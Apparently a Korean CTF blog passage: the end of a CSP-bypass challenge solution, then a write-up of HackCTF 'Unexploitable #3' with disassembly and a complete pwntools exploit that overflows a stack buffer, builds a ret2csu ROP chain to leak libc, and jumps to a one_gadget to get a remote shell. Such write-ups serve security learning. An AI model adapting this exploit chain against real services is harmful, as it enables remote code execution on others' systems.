'sha256-P9oV1Sc7O1Di7wEu1Q0fc9Jb2+DopNb6840c7E5XuNY='
b의 hash
'sha256-Pl2V1+QPNtARvuHPfLjHPFJ5rA0Ky2MhOJ8KD2Y0zN8='
c의 hash
'sha256-l1OSKODPRVBa1/91J7WfPisrJ6WCxCRnKFzXaOkpsY4='
j-query 값
'https://code.jquery.com/jquery-3.4.1.slim.min.js'

따라서 아래와 같이 CSP를 허용해 줄 수 있을 것이고,

script-src 'self 'sha256-l1OSKODPRVBa1/91J7WfPisrJ6WCxCRnKFzXaOkpsY4=' [https://code.jquery.com/jquery-3.4.1.slim.min.js](https://code.jquery.com/jquery-3.4.1.slim.min.js)

이를 verify에 입력하게 되면 flag획득이 가능합니다.

HackCTF - Unexploitable #3

m0nd2y — Tue, 10 Aug 2021 21:11:39 +0900

아마 stack 마지막 문제 같다.

후딱 풀어서 ALLCLEAR해야겠다.

코드를 보면 위와 아래와 같다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[16]; // [rsp+0h] [rbp-10h] BYREF

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  fwrite("Impossible RTL ha? Nothing for you!\n", 1uLL, 36uLL, stdout);
  fgets(s, 256, stdin);
  return 0;
}

RTC기법을 이용해서 csu를 참고해야한다.

해당 ELF의 CSU구조는 아래와 같다.

.text:00000000004006E0 ; __unwind {
.text:00000000004006E0                 push    r15
.text:00000000004006E2                 push    r14
.text:00000000004006E4                 mov     r15d, edi
.text:00000000004006E7                 push    r13
.text:00000000004006E9                 push    r12
.text:00000000004006EB                 lea     r12, __frame_dummy_init_array_entry
.text:00000000004006F2                 push    rbp
.text:00000000004006F3                 lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004006FA                 push    rbx
.text:00000000004006FB                 mov     r14, rsi
.text:00000000004006FE                 mov     r13, rdx
.text:0000000000400701                 sub     rbp, r12
.text:0000000000400704                 sub     rsp, 8
.text:0000000000400708                 sar     rbp, 3
.text:000000000040070C                 call    _init_proc
.text:0000000000400711                 test    rbp, rbp
.text:0000000000400714                 jz      short loc_400736
.text:0000000000400716                 xor     ebx, ebx
.text:0000000000400718                 nop     dword ptr [rax+rax+00000000h]
.text:0000000000400720
.text:0000000000400720 loc_400720:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400720                 mov     rdx, r13
.text:0000000000400723                 mov     rsi, r14
.text:0000000000400726                 mov     edi, r15d
.text:0000000000400729                 call    ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
.text:000000000040072D                 add     rbx, 1
.text:0000000000400731                 cmp     rbx, rbp
.text:0000000000400734                 jnz     short loc_400720
.text:0000000000400736
.text:0000000000400736 loc_400736:                             ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400736                 add     rsp, 8
.text:000000000040073A                 pop     rbx
.text:000000000040073B                 pop     rbp
.text:000000000040073C                 pop     r12
.text:000000000040073E                 pop     r13
.text:0000000000400740                 pop     r14
.text:0000000000400742                 pop     r15
.text:0000000000400744                 retn

해당 코드를 확인하고 인자를 맞춰주면 될 듯하다.

추가로 fwrite함수를 주었기에 4번째 인자를 세팅해야하는데, 이는 gift함수에서 찾을 수 있다.

.text:0000000000400636 gift            proc near
.text:0000000000400636 ; __unwind {
.text:0000000000400636                 push    rbp
.text:0000000000400637                 mov     rbp, rsp
.text:000000000040063A                 mov     rax, cs:stdout@@GLIBC_2_2_5
.text:0000000000400641                 mov     rcx, rax        ; s
.text:0000000000400644                 mov     edx, 17h        ; n
.text:0000000000400649                 mov     esi, 1          ; size
.text:000000000040064E                 mov     edi, offset aUselessGadgetF ; "Useless gadget for you!"
.text:0000000000400653                 call    _fwrite
.text:0000000000400658                 mov     rcx, [rdi]
.text:000000000040065B                 retn
.text:000000000040065B gift            endp ; sp-analysis failed

stdout을 호출할떄 rdi_ret가젯을 이용해서 이를 rdi에 넣고,

해당 함수에서 0x400653부분을 이용해서 rdi를 rcx에 넣을 수 있기에 우회가 가능하다.

아래는 익스 코드이다.

from pwn import *

#r = process("./Unexploitable_3")
r = remote("ctf.j0n9hyun.xyz", 3034)
e = ELF("./Unexploitable_3")
l = ELF("./libc6_2.23-0ubuntu10_amd64.so")
one_shot_offset = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
context.log_level = "debug"

csu2_add = 0x0000000000400736
csu1_add = 0x0000000000400720

main = e.symbols['main']
fwrite_got = e.got['fwrite']
fgets_got = e.got['fgets']
__libc_start_main_got = e.got['__libc_start_main']
__libc_start_main_offset = l.sym['__libc_start_main']
fwrite_offset = l.sym['fwrite']
pop_rdi_ret = 0x0000000000400743
mov_rcx_rdi = 0x0000000000400658
stdout = e.got['stdout']


log.info("main = " + hex(main))
log.info("fwrite_got = " + hex(fwrite_got))
log.info("one_shot_offset = " + str(one_shot_offset))
log.info("stdout = " + hex(stdout))

pay = ""
pay += "A"*0x10
pay += "A"*0x8
pay += p64(pop_rdi_ret)
pay += p64(stdout)
pay += p64(mov_rcx_rdi)
pay += p64(csu2_add)
pay += "A"*8    #add rsp,8
pay += p64(0)   #rbx           
pay += p64(1)   #rbp
pay += p64(fwrite_got) #r12
pay += p64(8)    #mov     rdx, r13
pay += p64(1)    #mov     rsi, r14
pay += p64(__libc_start_main_got)    #mov     edi, r15d
pay += p64(csu1_add)

pay += "A"*8    #dummy
pay += p64(0)           #rbx
pay += p64(0)           #rbp
pay += p64(0)           #r12
pay += p64(0)           #r13
pay += p64(0)           #r14
pay += p64(0)           #r15
pay += p64(main)        #ret
r.recvuntil("Impossible RTL ha? Nothing for you!\n")
r.sendline(pay)
sleep(0.1)
__libc_start_main_add = u64(r.recv(8).ljust(8, "\x00"))
libc_base = __libc_start_main_add - __libc_start_main_offset
one_shot_add = libc_base + one_shot_offset[0]
log.info("__libc_start_main_add : " + hex(__libc_start_main_add))
log.info("libc_base : " + hex(libc_base))
log.info("one_shot_add : " + hex(one_shot_add))

r.recvuntil("Impossible RTL ha? Nothing for you!\n")
pay = ""
pay += "A"*0x10
pay += "A"*0x8
pay += p64(one_shot_add)
r.sendline(pay)
sleep(0.1)

r.interactive()

익스가 가능하다.

해당 문제를 풀면서 얻을 가장 큰 교훈은 아무런 libc_db를 사용하지 말자는 것이다.

로컬에서 30분만에 풀었지만, libc_db사이트를 이상한 곳을 찾아서 2시간을 소비했다.

다음부터 주의하자..